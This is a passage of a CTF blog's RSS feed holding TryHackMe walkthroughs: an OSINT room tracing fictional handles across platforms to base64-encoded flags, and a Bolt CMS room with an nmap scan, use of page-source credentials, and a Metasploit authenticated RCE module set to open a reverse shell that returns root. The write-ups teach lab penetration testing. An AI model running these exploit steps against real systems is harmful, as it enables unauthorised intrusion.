&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Boiler is a masterclass in trolling, but it taught me a valuable lesson: &lt;strong&gt;Enumeration &amp;gt; Everything.&lt;/strong&gt; We didn&apos;t just find the root flag; we earned it.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;We dug deeper: Finding the hidden SSH port on 55007 when standard scans failed.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We enumerated harder: uncovering the Sar2HTML vulnerability buried in a subdirectory.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We escalated smarter: Ignoring the trolls and abusing a classic SUID binary to snatch root.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;System Pwned. 🚩&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If you dug this write-up, follow along—I&apos;ve got plenty more boxes to break :)&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>TryHackMe: Operation Slither Walkthrough</title><link>https://0xm3dd.github.io/posts/tryhackme/operation-slither/operation-slither/</link><guid isPermaLink="true">https://0xm3dd.github.io/posts/tryhackme/operation-slither/operation-slither/</guid><description>A complete walkthrough of the Operation Slither room on TryHackMe. Tracking down the &apos;Sneaky Viper&apos; group through OSINT and decoding hidden messages.</description><pubDate>Sat, 31 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Room Link : https://tryhackme.com/room/operationslitherIU&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;Welcome to my writeup for &lt;strong&gt;Operation Slither&lt;/strong&gt;. This room puts us in the shoes of a digital investigator tracking down a cybercriminal group known as &quot;Sneaky Viper.&quot; The group has infiltrated &quot;TryTelecomMe&quot; and exfiltrated sensitive data.&lt;/p&gt;
&lt;p&gt;Our mission is to follow the digital trail, starting from a single forum post, to identify the leader, uncover their methods, and retrieve the stolen flags.&lt;/p&gt;
&lt;p&gt;Let&apos;s dive in!&lt;/p&gt;
&lt;h1&gt;Task 1: The Leader&lt;/h1&gt;
&lt;h2&gt;Reconnaissance&lt;/h2&gt;
&lt;p&gt;The investigation began with a lead from a hacker forum. A user going by the handle &lt;strong&gt;@v3n0mbyt3_&lt;/strong&gt; claimed responsibility for the breach and announced that they would be releasing more data soon.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Initial Intel:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Target Handle:&lt;/strong&gt; &lt;code&gt;@v3n0mbyt3_&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Group Name:&lt;/strong&gt; Sneaky Viper&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Platform:&lt;/strong&gt; Hacker Forum&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To build a profile on this threat actor, I performed a username search across major social media platforms to find where else they might be active.&lt;/p&gt;
&lt;h2&gt;Social Media Analysis&lt;/h2&gt;
&lt;p&gt;While the prompt mentioned Twitter/X, I needed to find a &lt;em&gt;different&lt;/em&gt; platform. A search for the handle &lt;code&gt;v3n0mbyt3_&lt;/code&gt; led me to a valid profile on &lt;strong&gt;Threads&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/1.png&quot; alt=&quot;img1&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 1&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Aside from Twitter / X, what other platform is used by v3n0mbyt3_? Answer in lowercase.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;threads&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Decrypting the Communication&lt;/h2&gt;
&lt;p&gt;I analyzed the target&apos;s activity on Threads, looking for leaks or hidden communications. In the &lt;strong&gt;Replies&lt;/strong&gt; tab, I found a suspicious interaction where &lt;code&gt;@v3n0mbyt3_&lt;/code&gt; responded to another user with a long, random string of characters.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/2.png&quot; alt=&quot;img2&quot; /&gt;
&lt;strong&gt;The Ciphertext:&lt;/strong&gt;
&lt;code&gt;VEhNe3NsMXRoM3J5X3R3MzN0el80bmRfbDM0a3lfcjNwbDEzcyF9&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Observing the string I identified this as likely &lt;strong&gt;Base64&lt;/strong&gt; encoded text. I used my terminal to decode it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo -e &apos;VEhNe3NsMXRoM3J5X3R3MzN0el80bmRfbDM0a3lfcjNwbDEzcyF9&apos; | base64 -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Images/3.png&quot; alt=&quot;img3&quot; /&gt;	
This revealed the first flag hidden in plain sight.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 2&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the value of the flag?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;THM{REDACTED}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Task 2: The Sidekick&lt;/h1&gt;
&lt;h2&gt;Connecting the Dots&lt;/h2&gt;
&lt;p&gt;After identifying the leader, the investigation shifted to finding their accomplice. The forum post mentioned a second operator, but the handle was hidden.&lt;/p&gt;
&lt;p&gt;Returning to the Threads conversation where I found the first flag, I examined who &lt;code&gt;@v3n0mbyt3_&lt;/code&gt; was interacting with. The encoded flag was actually a reply to another user: &lt;strong&gt;&lt;code&gt;_myst1cv1x3n_&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/4.png&quot; alt=&quot;Threads Conversation&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This identifies the second operator.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 1&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the username of the second operator talking to v3n0mbyt3 from the previous platform?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;_myst1cv1x3n_&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Hunting the Flag (The Pivot)&lt;/h2&gt;
&lt;p&gt;Armed with the handle &lt;code&gt;_myst1cv1x3n_&lt;/code&gt;, I searched for their presence on other platforms. I discovered an &lt;strong&gt;Instagram&lt;/strong&gt; profile where the user mentioned they had &quot;Been playing with EDM for a while now&quot; and provided a link to a prototype.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/5.png&quot; alt=&quot;Instagram Link&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The link directed me to a &lt;strong&gt;SoundCloud&lt;/strong&gt; profile for a user named &lt;code&gt;v1x3n_&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Audio Intelligence&lt;/h2&gt;
&lt;p&gt;I explored the tracks on the SoundCloud profile. While checking the description of the track &lt;strong&gt;&quot;Prototype2&quot;&lt;/strong&gt;, I found a suspicious Base64 string hidden in the comments.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/6.png&quot; alt=&quot;SoundCloud Description&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ciphertext:&lt;/strong&gt;
&lt;code&gt;VEhNe3MwY20xbnRfMDBwcZNjX2Yxbmczcl9tMXNjbDFja30=&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Decoding&lt;/h2&gt;
&lt;p&gt;I used CyberChef to decode the string :&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/7.png&quot; alt=&quot;Flag Decoding&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 2&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the value of the flag?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;THM{REDACTED}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Task 3: The Last Operator&lt;/h1&gt;
&lt;h2&gt;Mapping the Network&lt;/h2&gt;
&lt;p&gt;The investigation led me to the SoundCloud profile of the second operator (&lt;code&gt;v1x3n_&lt;/code&gt;). To identify the third member of the &quot;Sneaky Viper&quot; group, I checked the &lt;strong&gt;Followers&lt;/strong&gt; list on that profile.&lt;/p&gt;
&lt;p&gt;One account stood out: &lt;strong&gt;&lt;code&gt;sh4d0wF4NG&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/8.png&quot; alt=&quot;SoundCloud Followers&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Checking this user&apos;s profile, I saw the bio &quot;EDM / LOFI chill,&quot; which matched the interests of the group we observed earlier.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/9.png&quot; alt=&quot;sf&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 1&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the handle of the third operator?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;sh4d0wF4NG&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Pivoting to Development&lt;/h2&gt;
&lt;p&gt;With the new handle &lt;code&gt;sh4d0wF4NG&lt;/code&gt;, I searched for the user on other platforms. Given the technical nature of the attacks (scripts, infrastructure), I suspected they might use a code repository.&lt;/p&gt;
&lt;p&gt;I successfully located the user on &lt;strong&gt;GitHub&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/10.png&quot; alt=&quot;GitHub Profile&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 2&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What other platform does the third operator use? Answer in lowercase.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;github&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Secrets in the Commit History&lt;/h2&gt;
&lt;p&gt;I analyzed the user&apos;s repositories. The &lt;code&gt;red-team-infra&lt;/code&gt; repository immediately caught my eye as it matched the &quot;Inclusions&quot; list from the forum post (Terraform scripts for phishing infrastructure).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/11.png&quot; alt=&quot;Repo Analysis&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I dove into the &lt;strong&gt;Commit History&lt;/strong&gt; to see if any sensitive data had been accidentally committed and then removed. I noticed a commit involving the &lt;code&gt;terraform.tfstate&lt;/code&gt; file. State files often contain sensitive outputs in plaintext.&lt;/p&gt;
&lt;p&gt;Reviewing the diff for that file, I found a &lt;code&gt;shadow-password&lt;/code&gt; output containing a Base64 string.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/12.png&quot; alt=&quot;Commit Diff&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ciphertext:&lt;/strong&gt;
&lt;code&gt;VEhNe3NoNHJwX2Y0bmd6X2wzNGszZF9ibTB0ZHlfcHd9&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Final Decryption&lt;/h2&gt;
&lt;p&gt;I decoded the string to reveal the final flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/13.png&quot; alt=&quot;Final Flag&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 3&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the value of the flag?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;THM{REDACTED}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Operation Slither&lt;/strong&gt; was an excellent exercise in digital footprinting and open-source intelligence. We started with a single forum handle and unraveled an entire criminal network by following the connections between their social media profiles.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cross-Platform Pivoting:&lt;/strong&gt; Usernames are often reused or linked across platforms (Threads -&amp;gt; Instagram -&amp;gt; SoundCloud -&amp;gt; GitHub).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network Mapping:&lt;/strong&gt; Checking &quot;Followers&quot; and &quot;Following&quot; lists is a powerful way to find associates.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Git Forensics:&lt;/strong&gt; Developers frequently leak secrets in commit history.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Thanks for reading :)&lt;/p&gt;
&lt;p&gt;You can check out more of my write-ups at &lt;a href=&quot;https://0xm3dd.github.io&quot;&gt;0xm3dd.github.io&lt;/a&gt;.&lt;/p&gt;
</content:encoded></item><item><title>TryHackMe: Bolt Walkthrough</title><link>https://0xm3dd.github.io/posts/tryhackme/bolt/bolt/</link><guid isPermaLink="true">https://0xm3dd.github.io/posts/tryhackme/bolt/bolt/</guid><description>A complete walkthrough of the Bolt room on TryHackMe. exploiting a vulnerability in Bolt CMS to gain root access.</description><pubDate>Thu, 29 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Room Link : https://tryhackme.com/room/bolt&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;Welcome to my writeup for the &lt;strong&gt;Bolt&lt;/strong&gt; room on TryHackMe. This room focuses on exploiting a newer web technology—specifically &lt;strong&gt;Bolt CMS&lt;/strong&gt;. We will enumerate the application to find credentials, exploit an authenticated Remote Code Execution (RCE) vulnerability, and traverse the system to capture the flags.&lt;/p&gt;
&lt;p&gt;Let&apos;s dive in!&lt;/p&gt;
&lt;h1&gt;Enumeration&lt;/h1&gt;
&lt;h2&gt;Nmap Scan&lt;/h2&gt;
&lt;p&gt;I started by deploying the machine and running a standard Nmap scan to identify open ports and services.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sV -T5 -sC 10.66.162.114 -o nmap_scan
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here is the raw output from my scan:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f3:85:ec:54:f2:01:b1:94:40:de:42:e8:21:97:20:80 (RSA)
|   256 77:c7:c1:ae:31:41:21:e4:93:0e:9a:dd:0b:29:e1:ff (ECDSA)
|_  256 07:05:43:46:9d:b2:3e:f0:4d:69:67:e4:91:d3:d3:7f (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
8000/tcp open  http    (PHP 7.2.32-1)
|_http-title: Bolt | A hero is unleashed
|_http-generator: Bolt
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 Not Found
|     Date: Wed, 28 Jan 2026 23:52:07 GMT
|     Connection: close
|     X-Powered-By: PHP/7.2.32-1+ubuntu18.04.1+deb.sury.org+1
|     Cache-Control: private, must-revalidate
|     Date: Wed, 28 Jan 2026 23:52:07 GMT
|     Content-Type: text/html; charset=UTF-8
|     pragma: no-cache
|     expires: -1
|     X-Debug-Token: ba3989
|     &amp;lt;!doctype html&amp;gt;
|     &amp;lt;html lang=&quot;en&quot;&amp;gt;
|     &amp;lt;head&amp;gt;
|     &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
|     &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
|     &amp;lt;title&amp;gt;Bolt | A hero is unleashed&amp;lt;/title&amp;gt;
|     &amp;lt;link href=&quot;https://fonts.googleapis.com/css?family=Bitter|Roboto:400,400i,700&quot; rel=&quot;stylesheet&quot;&amp;gt;
|     &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/theme/base-2018/css/bulma.css?8ca0842ebb&quot;&amp;gt;
|     &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/theme/base-2018/css/theme.css?6cb66bfe9f&quot;&amp;gt;
|     &amp;lt;meta name=&quot;generator&quot; content=&quot;Bolt&quot;&amp;gt;
|     &amp;lt;/head&amp;gt;
|     &amp;lt;body&amp;gt;
|     href=&quot;#main-content&quot; class=&quot;vis
|   GetRequest:
|     HTTP/1.0 200 OK
|     Date: Wed, 28 Jan 2026 23:52:06 GMT
|     Connection: close
|     X-Powered-By: PHP/7.2.32-1+ubuntu18.04.1+deb.sury.org+1
|     Cache-Control: public, s-maxage=600
|     Date: Wed, 28 Jan 2026 23:52:06 GMT
|     Content-Type: text/html; charset=UTF-8
|     X-Debug-Token: 6ced0c
|     &amp;lt;!doctype html&amp;gt;
|     &amp;lt;html lang=&quot;en-GB&quot;&amp;gt;
|     &amp;lt;head&amp;gt;
|     &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
|     &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
|     &amp;lt;title&amp;gt;Bolt | A hero is unleashed&amp;lt;/title&amp;gt;
|     &amp;lt;link href=&quot;https://fonts.googleapis.com/css?family=Bitter|Roboto:400,400i,700&quot; rel=&quot;stylesheet&quot;&amp;gt;
|     &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/theme/base-2018/css/bulma.css?8ca0842ebb&quot;&amp;gt;
|     &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/theme/base-2018/css/theme.css?6cb66bfe9f&quot;&amp;gt;
|     &amp;lt;meta name=&quot;generator&quot; content=&quot;Bolt&quot;&amp;gt;
|     &amp;lt;link rel=&quot;canonical&quot; href=&quot;http://0.0.0.0:8000/&quot;&amp;gt;
|     &amp;lt;/head&amp;gt;
|_    &amp;lt;body class=&quot;front&quot;&amp;gt;
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;My scan revealed three open ports. Port 80 is hosting a default Apache page, but Port &lt;strong&gt;8000&lt;/strong&gt; stands out immediately. The Nmap scripts identified the title &quot;Bolt | A hero is unleashed&quot; and the generator tag &quot;Bolt&quot;, confirming that the &lt;strong&gt;Bolt CMS&lt;/strong&gt; is running on this port.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 1&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What port number has a web server with a CMS running?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;8000&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Enumerating the Web Application&lt;/h2&gt;
&lt;p&gt;I navigated to &lt;code&gt;http://10.66.162.114:8000&lt;/code&gt; to inspect the Bolt CMS directly. The homepage featured a blog post titled &lt;strong&gt;&quot;Message From Admin&quot;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Reading through the post, the author explicitly mentions their credentials:
&lt;em&gt;&quot;Welcome to this site, myself Jake and my username is &lt;strong&gt;bolt&lt;/strong&gt;.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/1.png&quot; alt=&quot;Message From Admin&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This gives us a valid username to target.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 2&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the username we can find in the CMS?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;bolt&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Finding the Password&lt;/h2&gt;
&lt;p&gt;After identifying the username, I inspected the page source code (&lt;code&gt;Ctrl+U&lt;/code&gt;) to look for further clues.&lt;/p&gt;
&lt;p&gt;Hidden within the HTML structure, I found a comment apparently meant for the IT department:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&quot;I suppose this is our secret forum right? ... my password is &lt;strong&gt;boltadmin123&lt;/strong&gt; just incase you need it!&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/2.png&quot; alt=&quot;Page Source Credentials&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 3&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the password we can find for the username?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;boltadmin123&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Dashboard Access&lt;/h2&gt;
&lt;p&gt;With the credentials &lt;code&gt;bolt:boltadmin123&lt;/code&gt;, I logged into the administrative panel at &lt;code&gt;/bolt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Once inside the dashboard, I scrolled to the footer to identify the exact version of the CMS running.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/3.png&quot; alt=&quot;Bolt Version&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The footer confirms the version is &lt;strong&gt;Bolt 3.7.1&lt;/strong&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 4&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What version of the CMS is installed on the server?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Bolt 3.7.1&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Vulnerability Research&lt;/h2&gt;
&lt;p&gt;Knowing the CMS version (&lt;strong&gt;3.7.1&lt;/strong&gt;) and having valid credentials, I searched Exploit-DB for potential vulnerabilities.&lt;/p&gt;
&lt;p&gt;The room hinted at an exploit for a &lt;em&gt;previous&lt;/em&gt; version. Searching for &quot;Bolt CMS&quot; revealed an &lt;strong&gt;Authenticated Remote Code Execution (RCE)&lt;/strong&gt; vulnerability for version &lt;strong&gt;3.7.0&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/4.png&quot; alt=&quot;Exploit-DB Search&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This matches our scenario perfectly since we have a valid login.
To find the EDB-ID we can access the exploit and we will find :&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/5.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 5&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There&apos;s an exploit for a previous version of this CMS... What&apos;s its EDB-ID?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;48296&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Metasploit Exploitation&lt;/h2&gt;
&lt;p&gt;With the vulnerability identified, I launched &lt;code&gt;msfconsole&lt;/code&gt; to find the corresponding exploit module.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf &amp;gt; search bolt cms
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Images/6.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The search returned a module specifically designed for Authenticated RCE on Linux targets.&lt;/p&gt;
&lt;p&gt;I selected the exploit/unix/webapp/bolt_authenticated_rce module.&lt;/p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 6&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Metasploit recently added an exploit module for this vulnerability. What&apos;s the full path?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;exploit/unix/webapp/bolt_authenticated_rce&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;I configured the exploit with the target details and the credentials I discovered earlier.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf &amp;gt; use exploit/unix/webapp/bolt_authenticated_rce
msf &amp;gt; set RHOSTS 10.66.162.114 (Target IP)
msf &amp;gt; set RPORT 8000
msf &amp;gt; set USERNAME bolt
msf &amp;gt; set PASSWORD boltadmin123
msf &amp;gt; set LHOST tun0    # My VPN IP
msf &amp;gt; set LPORT 4444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Images/7.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;With everything set, I executed the exploit.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf &amp;gt; run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The exploit authenticated with the CMS, injected a malicious PHP file, and successfully opened a session. I immediately checked my privileges.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[*] Command shell session 1 opened
id
# uid=0(root) gid=0(root) groups=0(root)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Surprisingly, the shell returned uid=0(root). This indicates the web server was running with root privileges, granting us immediate administrative access to the entire system without requiring further privilege escalation.&lt;/p&gt;
&lt;p&gt;I upgraded to a fully interactive shell using Python:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	
python3 -c &apos;import pty; pty.spawn(&quot;/bin/bash&quot;)&apos;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Images/8.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Capturing the Flag&lt;/h2&gt;
&lt;p&gt;With root access secured, I located the flag in the &lt;strong&gt;/home&lt;/strong&gt; directory.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/9.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bingo! Our flag found!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 7&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Look for flag.txt inside the machine.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;THM{REDACTED}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;The Bolt room was a great exercise in identifying and exploiting a vulnerability in a modern CMS. By combining standard enumeration techniques (Nmap) with open-source intelligence (reading blog posts for credentials) and vulnerability research (Exploit-DB), we were able to gain authenticated remote code execution.&lt;/p&gt;
&lt;h2&gt;Key Takeaways:&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Enumeration is Key&lt;/strong&gt;: Reading the actual content of the web application revealed the valid username bolt.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Source Code Analysis&lt;/strong&gt;: Checking the HTML source code (Ctrl+U) revealed the password boltadmin123 hidden in a developer comment.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Critical Misconfiguration&lt;/strong&gt;: The web server was running as root, which turned a simple web compromise into a full system takeover immediately, bypassing the need for local privilege escalation.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Thanks for reading :)&lt;/p&gt;
</content:encoded></item><item><title>TryHackMe: Carnage Walkthrough</title><link>https://0xm3dd.github.io/posts/tryhackme/carnage/thm-carnage/</link><guid isPermaLink="true">https://0xm3dd.github.io/posts/tryhackme/carnage/thm-carnage/</guid><description>A complete guide to Apply analytical skills to analyze the malicious network traffic using Wireshark.</description><pubDate>Sat, 24 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Room Link : https://tryhackme.com/room/c2carnage&lt;/strong&gt;&lt;/p&gt;
